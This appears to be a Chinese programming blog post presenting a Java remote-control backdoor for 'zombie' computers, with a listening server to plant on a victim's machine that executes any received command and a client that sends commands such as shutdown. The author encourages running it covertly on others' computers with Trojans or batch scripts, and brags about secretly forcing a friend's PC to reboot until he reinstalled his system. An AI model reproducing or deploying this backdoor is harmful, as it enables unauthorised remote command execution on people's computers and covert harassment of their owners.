热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

java也可以来做黑客:控制肉鸡

上次本人介绍了扫面端口,这次就简单说一下对肉鸡的控制吧!一般来说,通过端口扫面,知道对方的端口后,要进行一些进一步的操作,不是很难!难就难在如何想对方电脑发送命令!一般电脑会开放一个13
  上次本人介绍了扫面端口,这次就简单说一下对肉鸡的控制吧!
一般来说,通过端口扫面,知道对方的端口后,要进行一些进一步的操作,不是很难!难就难在如何想对方电脑发送命令!一般电脑会开放一个135的端口,我们通过它了做一些操作。大名鼎鼎的“冲击波”就是通过它了实现的。
关于135的端口说明如下:

135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务。

端口说明:135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代 码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。

当然通过java来实现,确实有点困难,本人不多说。还有一种简单远程方法就是种木马。至于如何挂马的问题,不再本文的研究范围,如有兴趣读者可以自己查阅。言归正传,我们看一下java远程控制的简单实现。

远程计算机注入的代码如下:

import java.io.DataInputStream;

import java.io.DataOutputStream;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;

public class Main implements Runnable {
    public static final int TCP_PORT = 8888;
    ServerSocket ss = null;
    Socket s = null;
    String cmd = null;

    public Main(Socket s) {
        this.s = s;
    }

    public void startServer() {
        try {
            ss = new ServerSocket(TCP_PORT);
               } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

        while (true) {
            try {
                s = ss.accept();
                new Thread(new Main(s)).start();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }
    }

    public void run() {
        try {
            DataOutputStream dos = new DataOutputStream(s.getOutputStream());
            dos.writeUTF("连接成功");
            DataInputStream dis = new DataInputStream(s.getInputStream());
            while (true) {
                cmd = dis.readUTF();
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                }
            }
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        new Main(null).startServer();
    }

}

       原理很简单,就是在计算机上建立一个ServerSocket,监听8888端口。当有客户端接入后,回执一个“连接成功”消息。然后执行cmd命令。

       本机的代码如下:
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.net.UnknownHostException;

import javax.swing.JOptionPane;

public class Main  {
    public static final int TCP_PORT = 8888;
    public static String ip = "127.0.0.1";
    Socket s = null;
    String cmd = null;
   
    public static void main(String[] args) {
        new Main().connect();
    }
   
    public void connect(){
        try {
            s = new Socket(ip,TCP_PORT);
    System.out.println("连接成功");
            DataOutputStream dos = new DataOutputStream(s.getOutputStream());
            do{
            cmd = JOptionPane.showInputDialog("输入命令:");
            dos.writeUTF(cmd);
            }while(!cmd.equals("over"));
           
            new Thread(new RecvThread()).start();
        } catch (UnknownHostException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
    private class RecvThread implements Runnable{
    public void run() {
        DataInputStream dis;
        while(true){
        try {           
            dis = new DataInputStream(s.getInputStream());
            String message = dis.readUTF();
      JOptionPane.showMessageDialog(null, message);
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
    }
}
}

        原理是,这边连入对方的服务端,向对方发送一个cmd命令,对方电脑就会执行。简单的如“shutdown -s”,就是让对方关机。

     弄清楚是怎么一回事后,就会发现这些非常的简单。有兴趣的话,大家可以试一下。尤其是对于初学者,有很大的动力。其实,Java在单机上也有很大的发展潜力的。

    
注:需要说明的是,由于本人的firefox不支持该博客的代码插入功能,只能将代码简单的复制,请大家见谅。另外如果要想让该程序成功的在他人计算机上偷偷的运行,只靠java还是不行。加上一些处批命令,就可以简单的搞定。有兴趣的话,大家可以研究。本人就用着段简单的代码,让一个哥们的电脑频繁的重启,呵呵!害他不知所以然,还重装了一遍系统。大家知道了不要告诉他哦!

 


推荐阅读
  • Spring特性实现接口多类的动态调用详解
    本文详细介绍了如何使用Spring特性实现接口多类的动态调用。通过对Spring IoC容器的基础类BeanFactory和ApplicationContext的介绍,以及getBeansOfType方法的应用,解决了在实际工作中遇到的接口及多个实现类的问题。同时,文章还提到了SPI使用的不便之处,并介绍了借助ApplicationContext实现需求的方法。阅读本文,你将了解到Spring特性的实现原理和实际应用方式。 ... [详细]
  • Java太阳系小游戏分析和源码详解
    本文介绍了一个基于Java的太阳系小游戏的分析和源码详解。通过对面向对象的知识的学习和实践,作者实现了太阳系各行星绕太阳转的效果。文章详细介绍了游戏的设计思路和源码结构,包括工具类、常量、图片加载、面板等。通过这个小游戏的制作,读者可以巩固和应用所学的知识,如类的继承、方法的重载与重写、多态和封装等。 ... [详细]
  • Iamtryingtomakeaclassthatwillreadatextfileofnamesintoanarray,thenreturnthatarra ... [详细]
  • Java容器中的compareto方法排序原理解析
    本文从源码解析Java容器中的compareto方法的排序原理,讲解了在使用数组存储数据时的限制以及存储效率的问题。同时提到了Redis的五大数据结构和list、set等知识点,回忆了作者大学时代的Java学习经历。文章以作者做的思维导图作为目录,展示了整个讲解过程。 ... [详细]
  • 阿,里,云,物,联网,net,core,客户端,czgl,aliiotclient, ... [详细]
  • JavaSE笔试题-接口、抽象类、多态等问题解答
    本文解答了JavaSE笔试题中关于接口、抽象类、多态等问题。包括Math类的取整数方法、接口是否可继承、抽象类是否可实现接口、抽象类是否可继承具体类、抽象类中是否可以有静态main方法等问题。同时介绍了面向对象的特征,以及Java中实现多态的机制。 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • 个人学习使用:谨慎参考1Client类importcom.thoughtworks.gauge.Step;importcom.thoughtworks.gauge.T ... [详细]
  • 本文介绍了如何使用C#制作Java+Mysql+Tomcat环境安装程序,实现一键式安装。通过将JDK、Mysql、Tomcat三者制作成一个安装包,解决了客户在安装软件时的复杂配置和繁琐问题,便于管理软件版本和系统集成。具体步骤包括配置JDK环境变量和安装Mysql服务,其中使用了MySQL Server 5.5社区版和my.ini文件。安装方法为通过命令行将目录转到mysql的bin目录下,执行mysqld --install MySQL5命令。 ... [详细]
  • Java在运行已编译完成的类时,是通过java虚拟机来装载和执行的,java虚拟机通过操作系统命令JAVA_HOMEbinjava–option来启 ... [详细]
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • 本文介绍了Java高并发程序设计中线程安全的概念与synchronized关键字的使用。通过一个计数器的例子,演示了多线程同时对变量进行累加操作时可能出现的问题。最终值会小于预期的原因是因为两个线程同时对变量进行写入时,其中一个线程的结果会覆盖另一个线程的结果。为了解决这个问题,可以使用synchronized关键字来保证线程安全。 ... [详细]
  • 自动轮播,反转播放的ViewPagerAdapter的使用方法和效果展示
    本文介绍了如何使用自动轮播、反转播放的ViewPagerAdapter,并展示了其效果。该ViewPagerAdapter支持无限循环、触摸暂停、切换缩放等功能。同时提供了使用GIF.gif的示例和github地址。通过LoopFragmentPagerAdapter类的getActualCount、getActualItem和getActualPagerTitle方法可以实现自定义的循环效果和标题展示。 ... [详细]
  • 开发笔记:Java是如何读取和写入浏览器Cookies的
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了Java是如何读取和写入浏览器Cookies的相关的知识,希望对你有一定的参考价值。首先我 ... [详细]
  • Java值传递机制的说明及示例代码
    本文对Java值传递机制进行了详细说明,包括形参和实参的定义和传递方式,以及通过示例代码展示了交换值的方法。 ... [详细]
author-avatar
旭89浪子_499
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有